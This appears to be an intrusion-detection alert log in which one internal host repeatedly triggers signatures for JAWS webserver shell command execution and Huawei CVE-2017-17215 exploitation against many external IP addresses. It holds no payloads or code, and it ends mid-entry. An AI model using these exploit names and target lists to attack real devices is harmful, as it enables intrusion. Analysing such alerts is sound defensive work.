Timestamp:	192.168.2.2375.103.67.24246188802030092 07/11/22-01:02:33.857833
SID:	2030092
Source Port:	46188
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.234.201.137

Timestamp:	192.168.2.2364.234.201.13750586802030092 07/11/22-01:02:35.201233
SID:	2030092
Source Port:	50586
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.82.228.2

Timestamp:	192.168.2.23202.82.228.251848802030092 07/11/22-01:03:44.440013
SID:	2030092
Source Port:	51848
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.46.206

Timestamp:	192.168.2.23156.238.46.20657026372152835222 07/11/22-01:04:04.203416
SID:	2835222
Source Port:	57026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.232.185.92

Timestamp:	192.168.2.2313.232.185.9248812802030092 07/11/22-01:03:27.335216
SID:	2030092
Source Port:	48812
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 150.60.205.131

Timestamp:	192.168.2.23150.60.205.13149532802030092 07/11/22-01:03:34.145184
SID:	2030092
Source Port:	49532
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.181.57.145

Timestamp:	192.168.2.23163.181.57.14550084802030092 07/11/22-01:02:44.108077
SID:	2030092
Source Port:	50084
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.91.84.145

Timestamp:	192.168.2.2351.91.84.14539370802030092 07/11/22-01:03:43.438606
SID:	2030092
Source Port:	39370
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.230.232.170

Timestamp:	192.168.2.23156.230.232.17049968802030092 07/11/22-01:02:49.468754
SID:	2030092
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.28.228.108

Timestamp:	192.168.2.2352.28.228.10851884802030092 07/11/22-01:03:40.532570
SID:	2030092
Source Port:	51884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.246.8.53

Timestamp:	192.168.2.2334.246.8.5348410802030092 07/11/22-01:02:52.116181
SID:	2030092
Source Port:	48410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 144.48.126.37

Timestamp:	192.168.2.23144.48.126.3754024802030092 07/11/22-01:02:14.202780
SID:	2030092
Source Port:	54024
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.196.175.208

Timestamp:	192.168.2.2344.196.175.20845904802030092 07/11/22-01:02:28.050499
SID:	2030092
Source Port:	45904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.85.174.2

Timestamp:	192.168.2.2335.85.174.251854802030092 07/11/22-01:02:46.354426
SID:	2030092
Source Port:	51854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.68.30.102

Timestamp:	192.168.2.2352.68.30.10244698802030092 07/11/22-01:03:13.404547
SID:	2030092
Source Port:	44698
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 86.71.78.30

Timestamp:	192.168.2.2386.71.78.3050226802030092 07/11/22-01:04:04.021373
SID:	2030092
Source Port:	50226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.46.67.226

Timestamp:	192.168.2.23147.46.67.22641728802030092 07/11/22-01:03:24.031066
SID:	2030092
Source Port:	41728
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.43.200.225

Timestamp:	192.168.2.23101.43.200.22558480802030092 07/11/22-01:03:30.158069
SID:	2030092
Source Port:	58480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.102.64.221

Timestamp:	192.168.2.23104.102.64.22155542802030092 07/11/22-01:02:45.257144
SID:	2030092
Source Port:	55542
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.147.39.12

Timestamp:	192.168.2.2354.147.39.1256176802030092 07/11/22-01:03:12.425052
SID:	2030092
Source Port:	56176
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.124.100.35

Timestamp:	192.168.2.23112.124.100.3555204802030092 07/11/22-01:03:34.537570
SID:	2030092
Source Port:	55204
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 166.62.89.188

Timestamp:	192.168.2.23166.62.89.18848972802030092 07/11/22-01:03:07.071221
SID:	2030092
Source Port:	48972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.192.213.224

Timestamp:	192.168.2.2369.192.213.22457120802030092 07/11/22-01:03:27.085246
SID:	2030092
Source Port:	57120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.71.125.132

Timestamp:	192.168.2.23192.71.125.13257728802030092 07/11/22-01:02:18.073077
SID:	2030092
Source Port:	57728
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.112.57

Timestamp:	192.168.2.23156.244.112.5741558372152835222 07/11/22-01:04:04.216971
SID:	2835222
Source Port:	41558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.199.8.139

Timestamp:	192.168.2.2323.199.8.13954534802030092 07/11/22-01:03:53.288733
SID:	2030092
Source Port:	54534
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.64.125

Timestamp:	192.168.2.23156.250.64.12547230372152835222 07/11/22-01:03:23.265906
SID:	2835222
Source Port:	47230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.167.148.244

Timestamp:	192.168.2.2369.167.148.24441000802030092 07/11/22-01:04:12.205252
SID:	2030092
Source Port:	41000
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.97.127

Timestamp:	192.168.2.23156.244.97.12739190372152835222 07/11/22-01:02:20.417507
SID:	2835222
Source Port:	39190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.221.39.121

Timestamp:	192.168.2.2388.221.39.12139312802030092 07/11/22-01:02:21.004404
SID:	2030092
Source Port:	39312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.19.170.114

Timestamp:	192.168.2.23163.19.170.11435326802030092 07/11/22-01:04:09.413659
SID:	2030092
Source Port:	35326
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 84.169.221.76

Timestamp:	192.168.2.2384.169.221.7639752802030092 07/11/22-01:03:50.922431
SID:	2030092
Source Port:	39752
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.88.167

Timestamp:	192.168.2.23156.226.88.16740760372152835222 07/11/22-01:03:45.576176
SID:	2835222
Source Port:	40760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 210.113.199.247

Timestamp:	192.168.2.23210.113.199.24747592802030092 07/11/22-01:02:30.401890
SID:	2030092
Source Port:	47592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.205.93.202

Timestamp:	192.168.2.2323.205.93.20243126802030092 07/11/22-01:02:23.152243
SID:	2030092
Source Port:	43126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.71.200

Timestamp:	192.168.2.23156.244.71.20038408372152835222 07/11/22-01:02:58.148286
SID:	2835222
Source Port:	38408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.127.156.100

Timestamp:	192.168.2.23104.127.156.10043882802030092 07/11/22-01:03:01.405269
SID:	2030092
Source Port:	43882
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.185.164.176

Timestamp:	192.168.2.23220.185.164.17646730802030092 07/11/22-01:02:35.854063
SID:	2030092
Source Port:	46730
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.26.78

Timestamp:	192.168.2.23156.250.26.7837396372152835222 07/11/22-01:03:59.153766
SID:	2835222
Source Port:	37396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 210.136.139.161

Timestamp:	192.168.2.23210.136.139.16134996802030092 07/11/22-01:04:12.476993
SID:	2030092
Source Port:	34996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.189.182.151

Timestamp:	192.168.2.235.189.182.15155814802030092 07/11/22-01:02:34.954071
SID:	2030092
Source Port:	55814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.203.240.14

Timestamp:	192.168.2.23154.203.240.1434196802030092 07/11/22-01:03:15.326477
SID:	2030092
Source Port:	34196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.230.107.196

Timestamp:	192.168.2.2323.230.107.19654790802030092 07/11/22-01:04:13.607323
SID:	2030092
Source Port:	54790
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.57.103

Timestamp:	192.168.2.23156.226.57.10335894372152835222 07/11/22-01:02:20.115035
SID:	2835222
Source Port:	35894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.75.232.130

Timestamp:	192.168.2.2347.75.232.13046352802030092 07/11/22-01:03:55.045681
SID:	2030092
Source Port:	46352
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.89.85.191

Timestamp:	192.168.2.2351.89.85.19158158802030092 07/11/22-01:02:54.487099
SID:	2030092
Source Port:	58158
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.31.155.96

Timestamp:	192.168.2.23184.31.155.9633368802030092 07/11/22-01:03:37.295243
SID:	2030092
Source Port:	33368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.219.0.147

Timestamp:	192.168.2.23103.219.0.14760862802030092 07/11/22-01:03:33.677054
SID:	2030092
Source Port:	60862
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 210.108.4.5

Timestamp:	192.168.2.23210.108.4.539724802030092 07/11/22-01:04:00.005904
SID:	2030092
Source Port:	39724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 97.107.47.67

Timestamp:	192.168.2.2397.107.47.6754270802030092 07/11/22-01:04:14.348230
SID:	2030092
Source Port:	54270
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.238.165.238

Timestamp:	192.168.2.2391.238.165.23855906802030092 07/11/22-01:03:30.127889
SID:	2030092
Source Port:	55906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.54.232.97

Timestamp:	192.168.2.2369.54.232.9742068802030092 07/11/22-01:02:27.026324
SID:	2030092
Source Port:	42068
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.47.103.70

Timestamp:	192.168.2.2323.47.103.7057612802030092 07/11/22-01:03:57.237828
SID:	2030092
Source Port:	57612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.92.95

Timestamp:	192.168.2.23156.250.92.9550754372152835222 07/11/22-01:03:22.210169
SID:	2835222
Source Port:	50754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.7.62.203

Timestamp:	192.168.2.2396.7.62.20359728802030092 07/11/22-01:02:14.399456
SID:	2030092
Source Port:	59728
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 210.31.14.45

Timestamp:	192.168.2.23210.31.14.4545206802030092 07/11/22-01:02:52.375112
SID:	2030092
Source Port:	45206
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.100.217.133

Timestamp:	192.168.2.23128.100.217.13337684802030092 07/11/22-01:03:56.382448
SID:	2030092
Source Port:	37684
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.67.141.100

Timestamp:	192.168.2.2323.67.141.10041846802030092 07/11/22-01:02:13.688716
SID:	2030092
Source Port:	41846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.218.79.30

Timestamp:	192.168.2.23154.218.79.3037258802030092 07/11/22-01:04:02.658391
SID:	2030092
Source Port:	37258
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.77.152

Timestamp:	192.168.2.23156.244.77.15260788372152835222 07/11/22-01:04:11.630850
SID:	2835222
Source Port:	60788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.85.186.75

Timestamp:	192.168.2.2313.85.186.7553964802030092 07/11/22-01:03:59.744019
SID:	2030092
Source Port:	53964
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.252.120.4

Timestamp:	192.168.2.2337.252.120.456560802030092 07/11/22-01:02:47.831807
SID:	2030092
Source Port:	56560
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.147.63

Timestamp:	192.168.2.23156.225.147.6340574372152835222 07/11/22-01:03:13.314895
SID:	2835222
Source Port:	40574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.5.68.124

Timestamp:	192.168.2.2323.5.68.12446996802030092 07/11/22-01:03:57.076753
SID:	2030092
Source Port:	46996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.254.104.58

Timestamp:	192.168.2.2334.254.104.5854996802030092 07/11/22-01:02:58.168503
SID:	2030092
Source Port:	54996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.78.57

Timestamp:	192.168.2.23156.250.78.5758394372152835222 07/11/22-01:02:55.379213
SID:	2835222
Source Port:	58394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.197.197.109

Timestamp:	192.168.2.23154.197.197.10933658802030092 07/11/22-01:02:40.937431
SID:	2030092
Source Port:	33658
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 164.88.60.226

Timestamp:	192.168.2.23164.88.60.22649378802030092 07/11/22-01:04:02.853338
SID:	2030092
Source Port:	49378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.26.234.124

Timestamp:	192.168.2.23154.26.234.12445100802030092 07/11/22-01:02:45.998831
SID:	2030092
Source Port:	45100
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 158.69.40.198

Timestamp:	192.168.2.23158.69.40.19848926802030092 07/11/22-01:03:55.280345
SID:	2030092
Source Port:	48926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.122.49.140

Timestamp:	192.168.2.23104.122.49.14056384802030092 07/11/22-01:03:02.229019
SID:	2030092
Source Port:	56384
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.74.188

Timestamp:	192.168.2.23156.226.74.18836432372152835222 07/11/22-01:03:24.901473
SID:	2835222
Source Port:	36432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 143.248.0.162

Timestamp:	192.168.2.23143.248.0.16257300802030092 07/11/22-01:02:16.368926
SID:	2030092
Source Port:	57300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.198.45.105

Timestamp:	192.168.2.2399.198.45.10559816802030092 07/11/22-01:02:45.049851
SID:	2030092
Source Port:	59816
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.116.116

Timestamp:	192.168.2.23156.226.116.11657060372152835222 07/11/22-01:03:24.696773
SID:	2835222
Source Port:	57060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.253.120.75

Timestamp:	192.168.2.2369.253.120.7547820802030092 07/11/22-01:03:19.198480
SID:	2030092
Source Port:	47820
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 158.174.91.213

Timestamp:	192.168.2.23158.174.91.21338458802030092 07/11/22-01:03:08.623197
SID:	2030092
Source Port:	38458
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.253.124.212

Timestamp:	192.168.2.23197.253.124.21236612802030092 07/11/22-01:02:31.274019
SID:	2030092
Source Port:	36612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.236.56.56

Timestamp:	192.168.2.2385.236.56.5659418802030092 07/11/22-01:03:06.022948
SID:	2030092
Source Port:	59418
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.206.246.14

Timestamp:	192.168.2.2393.206.246.1454800802030092 07/11/22-01:04:00.511938
SID:	2030092
Source Port:	54800
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.66.200.156

Timestamp:	192.168.2.23154.66.200.15658174802030092 07/11/22-01:03:06.004744
SID:	2030092
Source Port:	58174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.19.226

Timestamp:	192.168.2.23156.230.19.22649846372152835222 07/11/22-01:03:42.549418
SID:	2835222
Source Port:	49846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.101.39.226

Timestamp:	192.168.2.2346.101.39.22637146802030092 07/11/22-01:03:47.292703
SID:	2030092
Source Port:	37146
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 130.185.239.167

Timestamp:	192.168.2.23130.185.239.16746886802030092 07/11/22-01:03:00.660626
SID:	2030092
Source Port:	46886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.110.219

Timestamp:	192.168.2.23156.250.110.21936792372152835222 07/11/22-01:03:38.329601
SID:	2835222
Source Port:	36792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.31.44.235

Timestamp:	192.168.2.2364.31.44.23543852802030092 07/11/22-01:03:50.313173
SID:	2030092
Source Port:	43852
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.249.212.26

Timestamp:	192.168.2.2387.249.212.2649508802030092 07/11/22-01:02:44.231563
SID:	2030092
Source Port:	49508
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.184.161.114

Timestamp:	192.168.2.23146.184.161.11449234802030092 07/11/22-01:02:21.065623
SID:	2030092
Source Port:	49234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.33.118

Timestamp:	192.168.2.23156.245.33.11840016372152835222 07/11/22-01:02:15.077957
SID:	2835222
Source Port:	40016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.72.74.110

Timestamp:	192.168.2.2320.72.74.11047296802030092 07/11/22-01:02:41.217023
SID:	2030092
Source Port:	47296
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 168.76.85.52

Timestamp:	192.168.2.23168.76.85.5244112802030092 07/11/22-01:02:35.327218
SID:	2030092
Source Port:	44112
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 175.137.81.173

Timestamp:	192.168.2.23175.137.81.17357760802030092 07/11/22-01:03:36.810245
SID:	2030092
Source Port:	57760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.122.1.119

Timestamp:	192.168.2.23172.122.1.11937922802030092 07/11/22-01:02:13.384924
SID:	2030092
Source Port:	37922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.249.137.82

Timestamp:	192.168.2.2313.249.137.8247114802030092 07/11/22-01:03:36.753977
SID:	2030092
Source Port:	47114
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.58.152.56

Timestamp:	192.168.2.2395.58.152.5635428802030092 07/11/22-01:04:15.239338
SID:	2030092
Source Port:	35428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.100.134.210

Timestamp:	192.168.2.23212.100.134.21050906802030092 07/11/22-01:04:11.354697
SID:	2030092
Source Port:	50906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.39.142.179

Timestamp:	192.168.2.2323.39.142.17952826802030092 07/11/22-01:04:03.219626
SID:	2030092
Source Port:	52826
